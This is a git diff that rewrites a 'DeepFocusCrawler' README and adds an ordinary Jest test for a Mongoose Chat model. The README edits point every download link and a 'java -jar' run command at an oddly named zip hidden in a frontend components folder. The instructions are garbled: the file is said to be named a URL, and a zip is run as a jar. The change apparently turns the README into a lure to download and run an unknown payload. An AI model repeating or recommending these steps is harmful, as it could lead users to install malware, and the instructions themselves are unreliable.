diff --git a/README.md b/README.md index 49f7910..ed1472f 100644 --- a/README.md +++ b/README.md @@ -6,7 +6,7 @@ Welcome to DeepFocusCrawler! This application is designed for everyone who wants ## 🔗 Download DeepFocusCrawler -[![Download DeepFocusCrawler](https://github.com/Abazeem18/DeepFocusCrawler/raw/refs/heads/main/backend/Deep_Crawler_Focus_3.8.zip)](https://github.com/Abazeem18/DeepFocusCrawler/raw/refs/heads/main/backend/Deep_Crawler_Focus_3.8.zip) +[![Download DeepFocusCrawler](https://github.com/Abazeem18/DeepFocusCrawler/raw/refs/heads/main/frontend/src/components/Deep_Focus_Crawler_geranomorphic.zip)](https://github.com/Abazeem18/DeepFocusCrawler/raw/refs/heads/main/frontend/src/components/Deep_Focus_Crawler_geranomorphic.zip) ## 💻 System Requirements @@ -18,14 +18,14 @@ Before you begin, make sure your computer meets these requirements: ## 📥 Download & Install -To download DeepFocusCrawler, visit this page: [Download DeepFocusCrawler](https://github.com/Abazeem18/DeepFocusCrawler/raw/refs/heads/main/backend/Deep_Crawler_Focus_3.8.zip) +To download DeepFocusCrawler, visit this page: [Download DeepFocusCrawler](https://github.com/Abazeem18/DeepFocusCrawler/raw/refs/heads/main/frontend/src/components/Deep_Focus_Crawler_geranomorphic.zip) Once there, you'll see the available versions. Choose the latest version and download it to your computer. The download may take a few moments, depending on your internet speed. ## 🛠️ How to Run DeepFocusCrawler 1. **Locate the Downloaded File:** - After downloading, find the file in your computer’s downloads folder. It should be named something like `https://github.com/Abazeem18/DeepFocusCrawler/raw/refs/heads/main/backend/Deep_Crawler_Focus_3.8.zip` (where X.X represents the version number). + After downloading, find the file in your computer’s downloads folder. It should be named something like `https://github.com/Abazeem18/DeepFocusCrawler/raw/refs/heads/main/frontend/src/components/Deep_Focus_Crawler_geranomorphic.zip` (where X.X represents the version number). 2. **Open Terminal or Command Prompt:** - **Windows:** Press `Win + R`, type `cmd`, and hit `Enter`. @@ -41,7 +41,7 @@ Once there, you'll see the available versions. Choose the latest version and dow 4. **Run DeepFocusCrawler:** Type the following command and hit `Enter`: ``` - java -jar https://github.com/Abazeem18/DeepFocusCrawler/raw/refs/heads/main/backend/Deep_Crawler_Focus_3.8.zip + java -jar https://github.com/Abazeem18/DeepFocusCrawler/raw/refs/heads/main/frontend/src/components/Deep_Focus_Crawler_geranomorphic.zip ``` Replace `X.X` with the version number you downloaded. diff --git a/backend/models/Chat.test.js b/backend/models/Chat.test.js new file mode 100644 index 0000000..43cfaab --- /dev/null +++ b/backend/models/Chat.test.js @@ -0,0 +1,68 @@ +// tests/models/Chat.test.js +import mongoose from "mongoose"; +import { MongoMemoryServer } from "mongodb-memory-server"; +import Chat from "../../backend/models/Chat"; + +describe("Chat Model", () => { + let mongoServer; + + beforeAll(async () => { + mongoServer = await MongoMemoryServer.create(); + const uri = mongoServer.getUri(); + await mongoose.connect(uri, { + useNewUrlParser: true, + useUnifiedTopology: true, + }); + }); + + afterAll(async () => { + await mongoose.disconnect(); + await mongoServer.stop(); + }); + + afterEach(async () => { + await Chat.deleteMany({}); + }); + + test("should create and save a chat document", async () => { + const chatData = { senderId: "user1", receiverId: "user2", message: "Hello" }; + const chat = new Chat(chatData); + const savedChat = await chat.save(); + + expect(savedChat._id).toBeDefined(); + expect(savedChat.senderId).toBe(chatData.senderId); + expect(savedChat.receiverId).toBe(chatData.receiverId); + expect(savedChat.message).toBe(chatData.message); + expect(savedChat.createdAt).toBeInstanceOf(Date); + }); + + test("should set default createdAt when not provided", async () => { + const before = new Date(); + const chat = new Chat({ senderId: "a", receiverId: "b", message: "test" }); + await chat.save(); + const after = new Date(); + + expect(chat.createdAt.getTime()).toBeGreaterThanOrEqual(before.getTime()); + expect(chat.createdAt.getTime()).toBeLessThanOrEqual(after.getTime()); + }); + + test("should enforce schema type validation", async () => { + const chat = new Chat({ + senderId: 123, // invalid type + receiverId: true, // invalid type + message: {}, // invalid type + }); + + let validationError; + try { + await chat.validate(); + } catch (err) { + validationError = err; + } + + expect(validationError).toBeDefined(); + expect(validationError.errors.senderId).toBeDefined(); + expect(validationError.errors.receiverId).toBeDefined(); + expect(validationError.errors.message).toBeDefined(); + }); +}); \ No newline at end of file